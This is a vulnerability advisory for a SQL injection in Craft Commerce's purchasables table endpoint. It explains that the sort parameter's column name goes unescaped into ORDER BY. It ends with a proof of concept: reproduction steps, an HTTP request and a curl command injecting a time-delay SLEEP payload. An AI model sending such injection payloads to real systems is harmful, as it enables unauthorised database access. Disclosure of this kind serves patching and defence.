Craft Commerce is an ecommerce platform for Craft CMS. Prior to 4.10.2 and 5.5.3, Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause. This vulnerability is fixed in 4.10.2 and 5.5.3.

## Summary Craft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2's query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.

--- ## PoC ### Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage orders - Edit orders

### Steps to reproduce 1. Log in to the control panel 2. Navigate to **Commerce** > **Orders** > Create a new order 3. Click on "Add a line item" to show the purchasables table 4. Intercept the AJAX request and modify the `sort` parameter as follows: ```http GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc ``` 5. Observe the delay in the response, confirming the injection

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed): ```bash curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc' ```
